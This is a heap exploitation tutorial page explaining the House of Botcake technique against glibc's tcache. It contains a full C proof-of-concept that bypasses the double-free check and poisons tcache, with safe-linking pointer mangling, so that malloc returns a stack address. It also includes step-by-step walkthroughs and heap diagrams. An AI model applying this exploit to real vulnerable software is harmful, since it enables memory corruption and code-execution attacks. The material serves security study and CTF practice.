Skip to main content

Overview

The House of Botcake is a heap exploitation technique that bypasses the double-free restriction on tcache introduced in glibc 2.29. The technique creates overlapping chunks by combining:
  • Filling the tcache to force chunks into unsorted bin
  • Consolidation in unsorted bin
  • Double-free into tcache after tcache has space
  • Chunk overlapping to control tcache metadata
This technique effectively “makes tcache_dup great again” by working around the double-free key check.

Glibc Version Compatibility

Compatible with: glibc 2.26 and later (all modern versions)Works best on: glibc 2.29+ where simple tcache double-free is patched
The technique works on:
  • glibc 2.26 - 2.28: Works but simple double-free also works
  • glibc 2.29+: Essential technique since direct tcache double-free is prevented

Requirements

  • Double Free: Ability to free the same chunk twice
  • Heap Control: Ability to allocate and free chunks of specific sizes
  • No Leak Required: The basic primitive doesn’t require address leaks
  • Safe-Linking Bypass: For glibc 2.32+, may need heap leak to bypass mangling

What It Achieves

The House of Botcake enables:
  1. Chunk Overlapping: Create overlapping heap chunks
  2. Tcache Poisoning: Control tcache freelist metadata
  3. Arbitrary Allocation: Force malloc to return arbitrary pointers
  4. Memory Corruption: Read/write to overlapping memory regions

Technical Details

Attack Flow

1

Fill Tcache

Allocate 7 chunks of the target size and free them to fill the tcache for that size class. This ensures the next freed chunk goes to the unsorted bin instead of tcache.
2

Setup Victim Chunks

Allocate three chunks:
  • prev: Will be consolidated with victim
  • victim: The chunk we’ll double-free
  • padding: Prevents consolidation with top chunk
3

Create Consolidation

Free the victim chunk (goes to unsorted bin because tcache is full), then free the prev chunk. These consolidate into a single larger chunk in the unsorted bin.
4

Double Free into Tcache

Allocate one chunk from tcache to make room, then free the victim chunk again. Since the tcache has space and the victim chunk’s metadata hasn’t been overwritten, it goes into tcache despite already being part of a consolidated chunk.
5

Exploit Overlap

Allocate the large consolidated chunk from unsorted bin. This overlaps with the victim chunk that’s still in tcache. Use the overlapping chunk to overwrite the victim’s fd pointer in tcache.
6

Arbitrary Allocation

Allocate the victim from tcache (first allocation), then allocate again to get the poisoned address.

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>

int main()
{
    // Disable buffering
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
    puts("returning a pointer to an arbitrary location (in this demo, the stack).");
    puts("This attack only relies on double free.\n");

    // Prepare the target
    intptr_t stack_var[4];
    puts("The address we want malloc() to return, namely,");
    printf("the target address is %p.\n\n", stack_var);

    // ========== Step 1: Prepare heap layout ==========
    puts("Preparing heap layout");
    puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
    intptr_t *x[7];
    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
        x[i] = malloc(0x100);
    }
    
    intptr_t *prev = malloc(0x100);
    printf("Allocating a chunk for later consolidation: prev @ %p\n", prev);
    
    intptr_t *a = malloc(0x100);
    printf("Allocating the victim chunk: a @ %p\n", a);
    
    puts("Allocating a padding to prevent consolidation.\n");
    malloc(0x10);

    // ========== Step 2: Fill tcache ==========
    puts("Now we are able to cause chunk overlapping");
    puts("Step 1: fill up tcache list");
    for(int i=0; i<7; i++){
        free(x[i]);
    }
    
    // ========== Step 3: Consolidation ==========
    puts("Step 2: free the victim chunk so it will be added to unsorted bin");
    free(a);

    puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
    free(prev);

    // ========== Step 4: Double free into tcache ==========
    puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
    malloc(0x100);
    
    /*VULNERABILITY*/
    free(a); // a is already freed
    /*VULNERABILITY*/

    // ========== Step 5: Exploit overlapping ==========
    puts("Now we have the chunk overlapping primitive:");
    puts("This primitive will allow directly reading/writing objects, heap metadata, etc.\n");
    puts("Below will use the chunk overlapping primitive to perform a tcache poisoning attack.");

    puts("Get the overlapping chunk from the unsorted bin.");
    intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);
    
    puts("Use the overlapping chunk to control victim->next pointer.");
    // Mangle the pointer since glibc 2.32 (safe-linking)
    unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;

    // ========== Step 6: Get arbitrary chunk ==========
    puts("Get back victim chunk from tcache. This will put target to tcache top.");
    a = malloc(0x100);
    int a_size = a[-1] & 0xff0;
    printf("victim @ %p, size: %#x, end @ %p\n", a, a_size, (void *)a+a_size);

    puts("Get the target chunk from tcache.");
    intptr_t *target = malloc(0x100);
    target[0] = 0xcafebabe;

    printf("target @ %p == stack_var @ %p\n", target, stack_var);
    assert(stack_var[0] == 0xcafebabe);
    
    return 0;
}

Walkthrough

The tcache double-free protection (added in glibc 2.29) works by setting a key field in freed tcache chunks. When freeing a chunk into tcache, glibc checks if the chunk’s key matches the tcache structure address, indicating it’s already in tcache.House of Botcake bypasses this by:
  1. First freeing the chunk when tcache is FULL → chunk goes to unsorted bin (no key set)
  2. Consolidating the chunk in unsorted bin → the chunk is now part of a larger chunk
  3. Making space in tcache, then freeing the original chunk again → since tcache has space and the key wasn’t set (chunk went to unsorted bin, not tcache), the free succeeds
The key insight: the chunk was never in tcache during the first free, so it doesn’t have the tcache key set.
After the double-free, we have:
  • A large consolidated chunk in unsorted bin (size 0x220 in the example)
  • The victim chunk (size 0x110) in tcache
  • These two chunks overlap in memory!
When we allocate the large chunk:
Heap layout:
[prev+victim consolidated (0x220)] - in our control via unsorted allocation
    [victim (0x110)] - still in tcache freelist
We can now use the large chunk to overwrite the victim’s tcache metadata (next pointer), enabling tcache poisoning.
Starting from glibc 2.32, tcache next pointers are “mangled” with safe-linking:
next = (ptr >> 12) ^ target
To poison tcache, you need to:
  1. Know the heap address (for the ptr >> 12 part) - requires heap leak
  2. Calculate the mangled value correctly
The example code shows the correct mangling:
unsorted[offset] = ((long)a >> 12) ^ (long)stack_var;
Without safe-linking (glibc 2.29-2.31), you can simply write:
unsorted[offset] = (long)stack_var;

Visual Representation

Initial State:
┌─────┐
│ x[0]│  ─┐
├─────┤   |
│ x[1]│   |
├─────┤   ├─ Will fill tcache
│  ...│   |
├─────┤   |
│ x[6]│  ─┘
├─────┤
│ prev│  ─┐
├─────┤   ├─ Will consolidate
│  a  │  ─┘
├─────┤
│ pad │
└─────┘

After filling tcache:
Tcache[0x110]: x[6] → x[5] → ... → x[0]

After free(a) and free(prev):
Unsorted bin: [prev+a consolidated (0x220)]

After malloc(0x100) and free(a):
Tcache[0x110]: a → x[4] → ... → x[0]
Unsorted bin: [prev+a consolidated (0x220)]
          ↑ Overlaps with a! ↑

After malloc(0x220) and poisoning:
Overlapping: [allocated large chunk containing 'a']
Tcache[0x110]: a → target

Common Issues

Issue: Double-free still detectedMake sure tcache is FULL when you do the first free. If tcache has space, the chunk goes to tcache and the key is set, causing the second free to fail.
Issue: Heap corruption detectedEnsure proper alignment and size calculations. The consolidated chunk must properly overlap the victim chunk. Use padding chunks to prevent unwanted consolidation.

CTF Challenges

No specific challenges listed, but this technique is applicable to:
  • Any challenge with double-free vulnerability on glibc 2.29+
  • Challenges requiring tcache poisoning without direct double-free
  • Modern CTF heap challenges

References

  • [Tcache Poisoning/techniques/tcache/tcache-poisoning) - Basic tcache exploitation
  • Tcache Dup - Original double-free (obsolete on 2.29+)
  • [Overlapping Chunks/techniques/bins/overlapping-chunks) - General chunk overlapping

Authors

Technique name by @anton00b and @subwire

Build docs developers (and LLMs) love